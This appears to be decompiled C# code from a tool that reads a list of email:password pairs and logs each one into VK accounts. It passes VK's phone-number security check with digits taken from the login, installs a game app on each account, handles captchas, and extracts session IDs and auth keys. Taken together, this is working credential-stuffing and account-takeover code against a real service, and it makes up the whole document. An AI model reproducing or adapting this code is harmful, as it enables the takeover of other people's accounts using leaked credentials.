Action method = null;
    Action action2 = null;
    Action action3 = null;
    Action action4 = null;
    string[] lp = null;
    string input = null;
    string str2 = null;
    string str3 = null;
    foreach (string str4 in this.textBox1.Lines)
    {
        <>c__DisplayClass9 class2;
        lp = str4.Split(new char[] { ':' });
        if (lp.Count<string>() != 2)
        {
            continue;
        }
        cookBox = new CookieContainer();
        string s = "email=" + lp[0] + "&pass=" + lp[1];
        try
        {
            HttpWebRequest request = (HttpWebRequest) WebRequest.Create("https://login.vk.com/?act=login&_origin=https://m.vk.com&role=pda&utf8=1");
            request.Timeout = 0x2710;
            request.AllowAutoRedirect = true;
            request.Method = "GET";
            request.CookieContainer = cookBox;
            request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36";
            if (s != null)
            {
                request.Method = "POST";
                byte[] bytes = new UTF8Encoding().GetBytes(s);
                request.ContentLength = bytes.Length;
                Stream requestStream = request.GetRequestStream();
                requestStream.Write(bytes, 0, bytes.Length);
                requestStream.Close();
            }
            HttpWebResponse response = (HttpWebResponse) request.GetResponse();
            if (request.CookieContainer.GetCookies(new Uri("http://vk.com"))["remixsid"].ToString() == null)
            {
            }
            input = new StreamReader(response.GetResponseStream(), Encoding.UTF8).ReadToEnd();
        }
        catch
        {
            if (method == null)
            {
                method = new Action(class2, (IntPtr) this.<th>b__0);
            }
            base.Invoke(method);
            continue;
        }
        if (input.IndexOf("security_check") > -1)
        {
            if (lp[0].Length == 12)
            {
                str3 = lp[0].Substring(3, lp[0].Length - 5);
            }
            else
            {
                str3 = lp[0].Substring(2, lp[0].Length - 4);
            }
            input = new StreamReader(post("http://m.vk.com/login.php?act=security_check&hash=" + Regex.Match(input, "check&to=&hash=(.*?)\">").Groups[1].Value, "code=" + str3).GetResponseStream(), Encoding.UTF8).ReadToEnd();
        }
        if (input.IndexOf("security_check") > -1)
        {
            continue;
        }
        input = new StreamReader(post(appUrl, null).GetResponseStream(), Encoding.UTF8).ReadToEnd();
        if (input.IndexOf("settings") <= -1)
        {
            continue;
        }
        id = Regex.Match(input, "viewer_id\":(.*?),").Groups[1].Value;
        auth = Regex.Match(input, "auth_key\":\"(.*?)\"").Groups[1].Value;
        game = Regex.Match(input, @"Apps.runApp\(this, '(.*?)',").Groups[1].Value;
        if (!(auth == ""))
        {
            goto Label_0593;
        }
        str2 = Regex.Match(input, game + "', '(.*?)'").Groups[1].Value;
        input = new StreamReader(post("http://vk.com/al_profile.php?__query=" + game + "&_ref=" + game + "&al=-1&captcha_key=&captcha_sid=759024676545&from_install=2&hash=" + str2 + "&join=1&sett=7", null).GetResponseStream(), Encoding.UTF8).ReadToEnd();
        id = Regex.Match(input, "viewer_id\\\\\":(.*?),").Groups[1].Value;
        auth = Regex.Match(input, "auth_key\\\\\":\\\\\"(.*?)\\\\\"").Groups[1].Value;
        if (!(id == "") || !(auth == ""))
        {
            goto Label_0593;
        }
        goto Label_0563;
    Label_0424:
        this.captcha(chash);
        if (action2 == null)
        {
            action2 = new Action(this, (IntPtr) this.<th>b__1);
        }
        base.BeginInvoke(action2);
        while (cap)
        {
            Thread.Sleep(100);
        }
        if (action3 == null)
        {
            action3 = new Action(this, (IntPtr) this.<th>b__2);
        }
        base.BeginInvoke(action3);
        input = new StreamReader(post("http://vk.com/al_profile.php?__query=" + game + "&_ref=" + game + "&al=-1&captcha_key=" + this.textBox4.Text + "&captcha_sid=" + chash + "&from_install=2&hash=" + str2 + "&join=1&sett=7", null).GetResponseStream(), Encoding.UTF8).ReadToEnd();
        cap = true;
        id = Regex.Match(input, "viewer_id\\\\\":(.*?),").Groups[1].Value;
        auth = Regex.Match(input, "auth_key\\\\\":\\\\\"(.*?)\\\\\"").Groups[1].Value;
        if ((id != null) && (auth != null))
        {
            goto Label_0593;
        }
    Label_0563:
        chash = Regex.Match(input, "2,\"(.*?)\"").Groups[1].Value;
        if (this.numCheck(chash))
        {
            goto Label_0424;
        }
    Label_0593:
        if (action4 == null)
        {
            action4 = new Action(class2, (IntPtr) this.<th>b__3);
        }
        base.Invoke(action4);
        auth = "";
    }
    base.BeginInvoke(new Action(this, (IntPtr) this.<th>b__4));